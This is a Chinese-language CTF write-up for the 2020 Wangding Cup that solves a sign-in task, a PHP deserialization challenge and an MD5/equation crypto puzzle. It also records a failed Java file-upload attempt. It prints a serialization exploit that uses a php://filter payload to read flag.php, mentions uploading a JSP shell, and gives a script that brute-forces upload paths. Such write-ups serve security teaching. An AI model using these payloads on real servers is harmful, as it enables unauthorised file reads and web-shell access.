2020年第二届“网鼎杯”网络安全大赛 青龙组 WriteUp
网鼎杯2020
MISC
签到
没啥好说的,一些国际战队的图标,然后答对15个提交自己的token就能在network请求中发现flag。
Web
AreUSerialz
给了个源码,一看是应该就是反序列化了,基本题目。
直接上EXP
<?php
#include("flag.php");
#highlight_file(__FILE__);
class FileHandler {
public $op=2;
public $filename="php://filter/convert.base64-encode/resource=/web/html/flag.php";
public $content;
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
echo ord($s[$i]);
return false;
return true;
}
$str = serialize(new FileHandler);
echo urlencode($str);
轻松获取到源码,解密的到flag。
filejava
上传题,说起来挺奇怪的,可能是思路有问题,卡了挺久都没做出来,测试发现并不过滤上传文件,只是不告诉你上传路径,给你一个下载地址,下载也是通过文件名来查库下载,导致即使是上传了一个shell,但是由于不知道路径,导致你也没法下载。经过测试,无意间爆出了他的绝对路径,但是奇怪的一幕发生了,上传一个文件后去暴力跑了一下他的地址,结果全部都是404,不应该啊,在目录中参杂两个随机的目录,两位数数字,就是upload后文件名前的那两个目录,理论上来说是可以跑出来的,但是实际上全部返回404,不知道哪里出了问题。
附上脚本,可能是我思路有问题吧
import requests
url1 = 'http://0196f752e9624b06851c570541f7f915e6177f9574f5405d.cloudgame1.ichunqiu.com:8080/file_in_java/WEB-INF/upload/'
url2 = '/9971955f-c6d8-41b1-b635-e4c1e22ce5d4_1.jsp'
def getUrl(i,j):
return url1 + str(i) +'/' + str(j) +url2
for i in range(16):
for j in range(16):
r = requests.get(getUrl(i,j))
print(getUrl(i,j) + " code:",end="")
print(r.status_code)
Crypto
boom
运行发现这个,我们回车继续。
发现要解MD5,解得发现为 en5oy,输入进入下一关。
发现要解一个二元一次方程。
轻松秒杀,解得X为x=74,y = 68,z = 31,输入,秒杀。
接着来到了第三关,轻松解得X=89127561,轻松得到Flag。
当前页面是本站的「Google AMP」版。查看和发表评论请点击:完整版 »